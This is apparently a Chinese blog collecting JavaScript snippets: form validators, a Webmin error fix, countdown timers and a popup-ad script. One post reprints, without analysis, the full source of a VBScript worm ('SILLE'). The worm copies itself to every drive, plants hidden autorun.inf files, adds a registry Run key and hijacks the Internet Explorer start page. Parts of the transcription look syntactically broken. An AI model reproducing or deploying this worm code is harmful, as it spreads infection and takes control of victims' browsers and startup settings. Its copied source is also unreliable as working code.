一个经得起时间考验的人
JavaScript
从阿里妈妈学习到的表单验证函数
二 29th
学习到的函数实现如下功能:检查当前浏览器是否为Netscape,保存当前Form表单(仅适用于IE浏览器),校验数据的合法性,判断是否为闰年,弹出窗口,校验日期的合法性等。
具体代码如下:
函数的具体功能在文件的注释中有详细介绍。
- //——–
- // 检查当前浏览器是否为Netscape
- //——–
- function isNetscape(){
- app=navigator.appName.substring(0,1);
- if (app==‘N’) return true;
- else {return false;}
- }
- //——–
- // 保存当前Form表单(仅适用于IE浏览器)
- //——–
- function formSaveCheck(fileName){
- if(isNetscape()){alert("Sorry, these function is not supported")}
- else document.execCommand(‘SaveAs’,null,fileName)
- }
- //——–
- // 校验数据的合法性
- //——–
- function isValidReg( chars){
- var re=/<|>|\[|\]|\{|\}|『|』|※|○|●|◎|§|△|▲|☆|★|◇|◆|□|▼|㊣|﹋|⊕|⊙|〒|ㄅ|ㄆ|
- ㄇ|ㄈ|ㄉ|ㄊ|ㄋ|ㄌ|ㄍ|ㄎ|ㄏ|ㄐ|ㄑ|ㄒ|ㄓ|ㄔ|ㄕ|ㄖ|ㄗ|ㄘ|ㄙ|ㄚ|ㄛ|ㄜ|ㄝ|ㄞ|ㄟ|ㄢ|ㄣ|ㄤ|ㄥ|ㄦ|ㄧ|ㄨ|ㄩ
- |■|▄|▆|\*|@|#|\^|\\/;
- if (re.test( chars) == true) {
- return false;
- }else{
- return true;
- }
- }
- //——–
- // 检查数据的长度是否合法
- //——–
- function isValidLength(chars, len) {
- if (chars.length > len) {
- return false;
- }
- return true;
- }
- //——–
- // 校验URL的合法性
- //——–
- function isValidURL( chars ) {
- //var re=/^([hH][tT]{2}[pP]:\/\/|[hH][tT]{2}[pP][sS]:\/\/)((((\w+(-*\w*)+)\.)+((com)|
- (net)|(edu)|(gov)|(org)|(biz)|(aero)|(coop)|(info)|(name)|(pro)|(museum))(\.([a-z]{2}))?)|((\w+(-
- *\w*)+)\.(cn)))$/;
- var re=/^([hH][tT]{2}[pP]:\/\/|[hH][tT]{2}[pP][sS]:\/\/)(\S+\.\S+)$/;
- //var re=/^([hH][tT]{2}[pP]:\/\/|[hH][tT]{2}[pP][sS]:\/\/)(((((\w+(-*\w*)+)\.)+((com)|
- (net)|(edu)|(gov)|(org)|(biz)|(aero)|(coop)|(info)|(name)|(pro)|(museum)|(cn)|(tv)|(hk))(\.([a-z]
- {2}))?)|((\w+(-*\w*)+)\.(cn)))((\/|\?)\S*)*)$/;
- if (!isNULL(chars)) {
- chars = jsTrim(chars);
- if (chars.match(re) == null)
- return false;
- else
- return true;
- }
- return false;
- }
- //——–
- // 校验数字的合法性
- //——–
- function isValidDecimal( chars ) {
- var re=/^\d*\.?\d{1,2}$/;
- if (chars.match(re) == null)
- return false;
- else
- return true;
- }
- //——–
- // 校验数字的合法性
- //——–
- function isNumber( chars ) {
- var re=/^\d*$/;
- if (chars.match(re) == null)
- return false;
- else
- return true;
- }
- //——–
- // 校验邮编的合法性
- //——–
- function isValidPost( chars ) {
- var re=/^\d{6}$/;
- if (chars.match(re) == null)
- return false;
- else
- return true;
- }
- //——–
- // 去掉数据的首尾空字符
- //——–
- function jsTrim(value){
- return value.replace(/(^\s*)|(\s*$)/g,"");
- }
- //——–
- // 校验数据是否为空(当数据为空字符时也为NULL)
- //——–
- function isNULL( chars ) {
- if (chars == null)
- return true;
- if (jsTrim(chars).length==0)
- return true;
- return false;
- }
- //——–
- // 校验Email的合法性
- //——–
- function checkEmail (fieldName, bMsg)
- {
- var emailStr = fieldName.value;
- var emailPat=/^(.+)@(.+)$/
- var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"
- var validChars="\[^\\s" + specialChars + "\]"
- var quotedUser="(\"[^\"]*\")"
- var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
- var atom=validChars + ‘+’
- var word="(" + atom + "|" + quotedUser + ")"
- var userPat=new RegExp("^" + word + "(\\." + word + ")*$")
- var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")
- var matchArray=emailStr.match(emailPat)
- if (matchArray==null)
- {
- if (bMsg) alert("Email address seems incorrect (check @ and .’s)")
- return false
- }
- var user=matchArray[1]
- var domain=matchArray[2]
- // See if "user" is valid
- if (user.match(userPat)==null)
- {
- if (bMsg) alert("The Email address seems incorrect.")
- // fieldName.focus();
- return false
- }
- /* if the e-mail address is at an IP address (as opposed to a symbolic
- host name) make sure the IP address is valid. */
- var IPArray=domain.match(ipDomainPat)
- if (IPArray!=null)
- {
- for (var i=1;i<=4;i++)
- {
- if (IPArray[i]>255)
- {
- if (bMsg) alert("Destination IP address is invalid!")
- return false
- }
- }
- return true
- }
- // Domain is symbolic name
- var domainArray=domain.match(domainPat)
- if (domainArray==null)
- {
- if (bMsg) alert("The domain name doesn’t seem to be valid.")
- return false
- }
- /* domain name seems valid, but now make sure that it ends in a
- three-letter word (like com, edu, gov) or a two-letter word,
- representing country (uk, nl), and that there’s a hostname preceding
- the domain or country. */
- var atomPat=new RegExp(atom,"g")
- var domArr=domain.match(atomPat)
- var len=domArr.length
- if (domArr[domArr.length-1].length<2 || domArr[domArr.length-1].length>3)
- {
- // the address must end in a two letter or three letter word.
- if (bMsg) alert("The address must end in a three-letter domain, or two letter country.")
- return false
- }
- // Make sure there’s a host name preceding the domain.
- if (len<2)
- {
- if (bMsg) alert("This address is missing a hostname!")
- return false
- }
- // If we’ve got this far, everything’s valid!
- return true;
- }
- //——–
- // 判断是否为闰年
- //——–
- function isLeapYear(year){
- if (year % 4 != 0)
- return false;
- if (year % 400 == 0)
- return true;
- if (year % 100 == 0)
- return false;
- return true;
- }
- //——–
- // 校验日期的合法性
- //——–
- function validateDate(day,month,year)
- {
- if ((day<=0)||(month<=0)||(year<=0))
- return false;
- if ((month>=1)&&(month<=12)) {
- if (month == 2) {
- if (isLeapYear(year)) {
- if (day<=29)
- return true;
- } else {
- if (day<=28)
- return true;
- else
- return false;
- }
- } else if ((month==4)||(month==6)||(month==9)||(month==11)) {
- if (day<=30)
- return true;
- else
- return false;
- } else {
- if (day<=31)
- return true;
- else
- return false;
- }
- }
- return false;
- }
- //——–
- // 判断数据是否包含都是Single Byte
- //——–
- function isSingleByteString(str)
- {
- var rc = true;
- var j = 0, i = 0;
- for (i=0; i<str.length; i++) {
- j = str.charCodeAt(i);
- if (j>=128) {
- rc = false;
- break;
- }
- }
- return rc;
- }
- var submitEvent = true;
- function checkDoubleSubmit(){
- return submitEvent;
- }
- //——–
- // 弹出窗口
- // 参数:url-弹出窗口显示URL的内容
- // w-弹出窗口的宽度
- // h-弹出窗口的高度
- // isCenter-控制弹出窗口是否在屏幕中央显示,值为true/false
- // isResizable-控制弹出窗口是否可以改变大小,值为true/false
- // isScroll-控制弹出窗口是否有滚动条,值为true/false
- //——–
- function popupWindow(url,w,h,isCenter,isResizable,isScroll) {
- if (isNULL(url)) return;
- var scrLeft = 0;
- var scrTop = 0;
- var scroll = "no";
- var resize = "no";
- if (isCenter) {
- scrLeft = (screen.width-w)/2;
- scrTop = (screen.height-h)/2;
- }
- if (isResizable) resize="yes";
- if (isScroll) scroll = "yes";
- window.open(url, ‘popupWindow’,
- ‘height=’+h+‘,width=’+w+‘,top=’+scrTop+‘,left=’+scrLeft+‘,toolbar=no,menubar=no,scrollbars=’+scrol
- l+‘,resizable=’+resize+‘,location=no,status=no’);
- }
- //——–
- // 弹出窗口
- // 参数:url-弹出窗口显示URL的内容
- // w-弹出窗口的宽度
- // h-弹出窗口的高度
- // isCenter-控制弹出窗口是否在屏幕中央显示,值为true/false
- // isResizable-控制弹出窗口是否可以改变大小,值为true/false
- // isModal-控制弹出窗口是否为模式或非模式对话框,值为ture/false
- //——–
- function popupModalWindow(url,w,h,isCenter,isResizable,isModal) {
- if (isNULL(url)) return;
- var scrLeft = 0;
- var scrTop = 0;
- var resize = "no";
- var cnt = "no";
- if (isCenter) {
- cnt="yes";
- scrLeft = (screen.width-w)/2;
- scrTop = (screen.height-h)/2;
- }
- if (isResizable) resize="yes";
- if (isModal)
- window.showModalDialog(url, ‘popupWindow’,
- ‘dialogWidth:’+w+‘px;dialogHeight:’+h+‘px;dialogLeft:’+scrLeft+‘px;dialogTop:’+scrTop+‘px;center:’
- +cnt+‘;help:no;resizable:’+resize+‘;status:no’);
- else
- window.showModelessDialog(url, ‘popupWindow’,
- ‘dialogWidth:’+w+‘px;dialogHeight:’+h+‘px;dialogLeft:’+scrLeft+‘px;dialogTop:’+scrTop+‘px;center:’
- +cnt+‘;help:no;resizable:’+resize+‘;status:no’);
- }
- //——–
- // 弹出窗口
- // 参数:url-弹出窗口显示URL的内容
- // w-弹出窗口的宽度
- // h-弹出窗口的高度
- // isCenter-控制弹出窗口是否在屏幕中央显示,值为true/false
- // isResizable-控制弹出窗口是否可以改变大小,值为true/false
- // isScroll-控制弹出窗口是否有滚动条,值为true/false
- //——–
- function openWindowCenter(urll,w,h){
- var top=(window.screen.height-h)/2;
- var left=(window.screen.width-w)/2;
- var param=‘toolbar=no,menubar=no,scrollbars=yes,resizable=no,location=no, status=no,top=’;
- param=param+top;
- param=param+‘,left=’;
- param=param+left;
- param=param+‘,height=’+h;
- param=param+‘,width=’+w;
- var w=window.open (urll,"",param)
- if(w!=null && typeof(w)!="undefined"){
- w.focus();
- }
- }
修改Webmin解决Javascript出错提示
十二 20th
登录Webmin后会在状态栏提示Javascript出错,出错位置在第9行等8个字符。
查看页面的源代码发现出错的原因是字符串中多了一个换行符,本来应该在一行的现在却变成两行所以就错了。
如下:
- <SCRIPT LANGUAGE="JavaScript">
- defaultStatus="zzr logged into Webmin
- 1.370 on localhost.msdi.cn (Redhat Enterprise Linux 5)";
- </SCRIPT>
修改/usr/libexec/webmin/mscstyle3目录下的theme.pl 文件
原文:
- if ($gconfig{‘sysinfo’} == 0 && $remote_user) {
- print "<SCRIPT LANGUAGE=\"JavaScript\">\n";
- print "defaultStatus=\"".&text(‘header_statusmsg’,
- ($ENV{‘ANONYMOUS_USER’} ? "Anonymous user"
- : $remote_user).
- ($ENV{‘SSL_USER’} ? " (SSL certified)" :
- $ENV{‘LOCAL_USER’} ? " (Local user)" : ""),
- $text{‘programname’},//大概是在231行,删除它,就是这句加了一个回车
- &get_webmin_version(),
- &get_display_hostname(),
- $os_type.($os_version eq "*" ? "" :" $os_version")).
- "\";\n";
- print "</SCRIPT>\n";
你可以删除$text{‘programname’}来解决此问题,亦可以修改成如下代码:
printf "defaultStatus=\"%s%s logged into Webmin %s on %s (%s %s)\";\n";
同样将/usr/libexec/webmin/web-lib-funcs.pl文件也修改一下。 大概在444行的位置。
收藏一个VBS病毒的代码(劫持IE)
七 19th
脚本病毒,出来已经有些时间了.
大部分的杀毒软件都能够发现这种病毒了.
病毒的重点部分是在这个ie.vbs文件中,其中的代码如下:
关于代码的分析留在以后再做,

- ‘virus name is SILLE
- ‘By Winxp32
- on error resume next
- dim ms,winpath,fs,fd,mf,atr,tf,rg,nt,chk,sd
- atr = "[autorun]"&vbcrlf"shellexecute=wscript.exe ie.vbs"
- set fs = createobject("Scripting.FileSystemObject")
- set mf = fs.getfile(Wscript.ScriptFullname)
- dim text,size
- size = mf.size
- chk = mf.drive.drivetype
- set text=mf.openastextstream(1,-2)
- do while not text.atendofstream
- ms=ms&text.readline
- ms=ms & vbcrlf
- loop
- do
- Set winpath = fs.getspecialfolder(0)
- set tf = fs.getfile(winpath & "\ie.vbs")
- tf.attributes = 32
- set tf=fs.createtextfile(winpath & "\ie.vbs",2,true)
- tf.write ms
- tf.close
- set tf = fs.getfile(winpath & "\ie.vbs")
- tf.attributes = 39
- for each fd in fs.drives
- If (fd.drivetype = 1 or fd.drivetype = 2) and fd.path <> "A:" then
- set tf=fs.getfile(fd.path "\ie.vbs")
- tf.attributes =32
- set tf=fs.createtextfile(fd.path "\ie.vbs",2,true)
- tf.write ms
- tf.close
- set tf=fs.getfile(fd.path "\ie.vbs")
- tf.attributes =39
- set tf =fs.getfile(fd.path "\autorun.inf")
- tf.attributes = 32
- set tf=fs.createtextfile(fd.path "\autorun.inf",2,true)
- tf.write atr
- tf.close
- set tf =fs.getfile(fd.path "\autorun.inf")
- tf.attributes=39
- end if
- next
- set rg = createobject("WScript.Shell")
- rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath"\ie.vbs"
- rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","¤¤¤¤~~~—@ SILLE"
- rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.sille.net"
- if chk <> 1 then
- Wscript.sleep 333333
- end if
- loop while chk<>1
- set sd = createobject("Wscript.shell")
- sd.run winpath"\explorer.exe /e,/select, "&Wscript.ScriptFullname
JavaScript写的倒计时例子
六 20th
按钮可用状态倒计时…(JavaScript)
今天在一个网站注册的时候, 看到了在服务条款和声明的时候, 我同意这个按钮要等几秒钟才可用, 虽然以前也看到过, 但这几天实在是闲着无聊, 所以, 嘿, 咱也来一个吧.
<form name="frm">
<input type="submit" name="btnSubmit" value="我同意" />
</form>
<script language="javascript">
<!–
var sec = 9;
var wait = sec * 1000;
document.frm.btnSubmit.value = "我同意[" + sec + "]";
document.frm.btnSubmit.disabled = true;
for(var i = 0; i <= sec; i++) {
window.setTimeout("TimeUpdate(" + i + ")", i * 1000);
}
window.setTimeout("TimeOk()", wait);
function TimeUpdate(num) {
if(num != sec) {
var pntNum = (wait / 1000) - num;
document.frm.btnSubmit.value = "我同意[" + pntNum + "]";
}
}
function TimeOk() {
document.frm.btnSubmit.value = "我同意";
document.frm.btnSubmit.disabled = false;
}
//–>
</script>
第一种:精确到秒的javascript倒计时代码
<form name="form1">
<div align="center" align="middle">
<center>离2010年还有:<br>
<input type="textarea" name="left" size="35" style="text-align: center">
</center>
</div>
</form>
<script LANGUAGE="javascript">
startclock()
var timerID = null;
var timerRunning = false;
function showtime() {
Today = new Date();
var NowHour = Today.getHours();
var NowMinute = Today.getMinutes();
var NowMonth = Today.getMonth();
var NowDate = Today.getDate();
var NowYear = Today.getYear();
var NowSecond = Today.getSeconds();
if (NowYear <2000)
NowYear=1900+NowYear;
Today = null;
Hourleft = 23 – NowHour
Minuteleft = 59 – NowMinute
Secondleft = 59 – NowSecond
Yearleft = 2009 – NowYear
Monthleft = 12 – NowMonth – 1
Dateleft = 31 – NowDate
if (Secondleft<0)
{
Secondleft=60+Secondleft;
Minuteleft=Minuteleft-1;
}
if (Minuteleft<0)
{
Minuteleft=60+Minuteleft;
Hourleft=Hourleft-1;
}
if (Hourleft<0)
{
Hourleft=24+Hourleft;
Dateleft=Dateleft-1;
}
if (Dateleft<0)
{
Dateleft=31+Dateleft;
Monthleft=Monthleft-1;
}
if (Monthleft<0)
{
Monthleft=12+Monthleft;
Yearleft=Yearleft-1;
}
Temp=Yearleft+’年, ‘+Monthleft+’月, ‘+Dateleft+’天, ‘+Hourleft+’小时, ‘+Minuteleft+’分, ‘+Secondleft+’秒’
document.form1.left.value=Temp;
timerID = setTimeout("showtime()",1000);
timerRunning = true;
}
var timerID = null;
var timerRunning = false;
function stopclock () {
if(timerRunning)
clearTimeout(timerID);
timerRunning = false;
}
function startclock () {
stopclock();
showtime();
}
// –>
</script>
第二种:某某运动会
<script language="JavaScript">
<!–
function DigitalTime1()
{
var deadline= new Date("08/13/2007") //开幕倒计时
var symbol="8月13日"
var now = new Date()
var diff = -480 – now.getTimezoneOffset() //是北京时间和当地时间的时间差
var leave = (deadline.getTime() – now.getTime()) + diff*60000
var day = Math.floor(leave / (1000 * 60 * 60 * 24))
var hour = Math.floor(leave / (1000*3600)) – (day * 24)
var minute = Math.floor(leave / (1000*60)) – (day * 24 *60) – (hour * 60)
var second = Math.floor(leave / (1000)) – (day * 24 *60*60) – (hour * 60 * 60) – (minute*60)
var deadline_2= new Date("08/13/2004") //开幕后计时
var symbol_2="8月13日"
var now_2 = new Date()
var diff_2 = -480 – now.getTimezoneOffset() //是北京时间和当地时间的时间差
var leave_2 = (now_2.getTime() – deadline_2.getTime()) + diff_2*60000
var day_2 = Math.floor(leave_2 / (1000 * 60 * 60 * 24))
var hour_2 = Math.floor(leave_2 / (1000*3600)) – (day_2 * 24)
var minute_2 = Math.floor(leave_2 / (1000*60)) – (day_2 * 24 *60) – (hour_2 * 60)
var second_2 = Math.floor(leave_2 / (1000)) – (day_2 * 24 *60*60) – (hour_2 * 60 * 60) – (minute_2*60)
day=day+1;
day_2=day_2+1;
if (day>0) //还未开幕
{
//LiveClock1.innerHTML = "现在"+symbol+"天"
LiveClock1.innerHTML = "<font class=fon1>距离"+symbol+"开幕还有<font class=fon2>"+day+"</font>天</font>"
setTimeout("DigitalTime1()",1000)
}
if (day<0) //已经开幕
{
//LiveClock1.innerHTML = "现在离"+symbol+"还有"+day+"天"+hour+"小时"+minute+"分"+second +"秒"
LiveClock1.innerHTML = "<font class=fon1>"+symbol+"开幕已有<font class=fon2>"+day_2+"</font>天</font>"
setTimeout("DigitalTime1()",1000)
}
if (day==0) //正在开幕
{
//LiveClock1.innerHTML = "现在"+symbol+"天"
LiveClock1.innerHTML = "<font class=fon1>某某运动会今天开幕</font>"
setTimeout("DigitalTime1()",1000)
}
if (day<0 & day_2>19) //某某运动会结束
{
//LiveClock1.innerHTML = "现在离"+symbol+"还有"+day+"天"+hour+"小时"+minute+"分"+second +"秒"
LiveClock1.innerHTML = "<font class=fon1>某某运动会已全部结束</font>"
setTimeout("DigitalTime1()",1000)
}
}
// –>
</script>
<!–倒计时Javascript end–>
<body onload=DigitalTime1()>
<div id= LiveClock1></div>
</body>
第三种:小时倒计时
<!–
var maxtime = 60*60 //一个小时,按秒计算,自己调整!
function CountDown(){
if(maxtime>=0){
minutes = Math.floor(maxtime/60);
seconds = Math.floor(maxtime%60);
msg = "距离结束还有"+minutes+"分"+seconds+"秒";
document.all["timer"].innerHTML=msg;
if(maxtime == 5*60) alert(‘注意,还有5分钟!’);
–maxtime;
}
else{
clearInterval(timer);
alert("时间到,结束!");
}
}
timer = setInterval("CountDown()",1000);
//–>
</SCRIPT>
<div id="timer" style="color:red"></div>
第四种:最简倒计时
<!– Begin
var timedate= new Date("January 14,2006");
var times="研究生考试";
var now = new Date();
var date = timedate.getTime() – now.getTime();
var time = Math.floor(date / (1000 * 60 * 60 * 24));
if (time >= 0) ;
document.write("<li><font color=#DEDBDE>现在离2006年"+times+"还有: <font color=#ffffff><b>"+time +"</b></font> 天</font></li>");
// End –>
</Script>
第四种:最简倒计时二
function djs(){
var urodz= new Date("11/12/2008");
var now = new Date();
var num
var ile = urodz.getTime() – now.getTime();
var dni = Math.floor(ile / (1000 * 60 * 60 * 24));
if (dni >1)
num=dni+1
else if (dni == 1) num=2
else if (dni == 0) num=1
else num=0
document.write(num)
}
</script>
距某某开幕式还有 [<script language="JavaScript" type="text/javascript">djs()</script>] 天
第五个:Javascript倒计时器 – 采用系统时间自校验
这次利用系统时间自校验倒计时, 无需手工调校使得倒计时更为精确, 代码及详细注释如下:
<span id="clock">00:01:11:00</span>
<input id="startB" type="button" value="start countdown!" onclick="run()">
<input id="endB" type="button" value="stop countdown!" onclick="stop()">
<br>
<input id="diff" type="text">
<input id="next" type="text">
<script language="Javascript">
/* This notice must be untouched at all times.
countdown.js v. 1.0
The latest version is available at
http://blog.csdn.net/yjgx007
Copyright (c) 2004 Xinyi.Chen. All rights reserved.
Created 7/30/2004 by Xinyi.Chen.
Web: http://blog.csdn.net/yjgx007
E-Mail: chenxinyi1978@hotmail.com
Last modified: 7/30/2004
This program is free software;
you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation;
See the GNU General Public License
at http://www.gnu.org/copyleft/gpl.html for more details.
*/
var normalelapse = 100;
var nextelapse = normalelapse;
var counter;
var startTime;
var start = clock.innerText;
var finish = "00:00:00:00";
var timer = null;
// 开始运行
function run() {
startB.disabled = true;
endB.disabled = false;
counter = 0;
// 初始化开始时间
startTime = new Date().valueOf();
// nextelapse是定时时间, 初始时为100毫秒
// 注意setInterval函数: 时间逝去nextelapse(毫秒)后, onTimer才开始执行
timer = window.setInterval("onTimer()", nextelapse);
}
// 停止运行
function stop() {
startB.disabled = false;
endB.disabled = true;
window.clearTimeout(timer);
}
window.onload = function() {
endB.disabled = true;
}
// 倒计时函数
function onTimer()
{
if (start == finish)
{
window.clearInterval(timer);
alert("time is up!");
return;
}
var hms = new String(start).split(":");
var ms = new Number(hms[3]);
var s = new Number(hms[2]);
var m = new Number(hms[1]);
var h = new Number(hms[0]);
ms -= 10;
if (ms < 0)
{
ms = 90;
s -= 1;
if (s < 0)
{
s = 59;
m -= 1;
}
if (m < 0)
{
m = 59;
h -= 1;
}
}
var ms = ms < 10 ? ("0" + ms) : ms;
var ss = s < 10 ? ("0" + s) : s;
var sm = m < 10 ? ("0" + m) : m;
var sh = h < 10 ? ("0" + h) : h;
start = sh + ":" + sm + ":" + ss + ":" + ms;
clock.innerText = start;
// 清除上一次的定时器
window.clearInterval(timer);
// 自校验系统时间得到时间差, 并由此得到下次所启动的新定时器的时间nextelapse
counter++;
var counterSecs = counter * 100;
var elapseSecs = new Date().valueOf() – startTime;
var diffSecs = counterSecs – elapseSecs;
nextelapse = normalelapse + diffSecs;
diff.value = counterSecs + "-" + elapseSecs + "=" + diffSecs;
next.value = "nextelapse = " + nextelapse;
if (nextelapse < 0) nextelapse = 0;
// 启动新的定时器
timer = window.setInterval("onTimer()", nextelapse);
}
</script>
24小时只弹一次广告的代码
五 26th
function setCookie(name, value, expire) {
window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}
function getCookie(Name) {
var search = Name + "=";
if (window.document.cookie.length > 0) { // if there are any cookies
offset = window.document.cookie.indexOf(search);
if (offset != -1) { // if cookie exists
offset += search.length; // set index of beginning of value
end = window.document.cookie.indexOf(";", offset) // set index of end of cookie value
if (end == -1)
end = window.document.cookie.length;
return unescape(window.document.cookie.substring(offset, end));
}
}
return null;
}
function register(name) {
var today = new Date();
var expires = new Date();
expires.setTime(today.getTime() + 1000*60*60*24);
setCookie("SexMovie", name, expires);
}
var exitURL="http://www.yx008.com"; //广告地址
function openWin() {
var c = getCookie("SexMovie");
if (c != null) {
return;
}
register("9free");
var featureStr="”";
featureStr="’top=0,left=0,width=800,height=600,toolbar=yes, menubar=no, scrollbars=no, resizable=no, location=no, status=no,center:no’";
self.focus();
var ExitWindow = window.open(exitURL);
ExitWindow.focus();
}
openWin();
window.focus()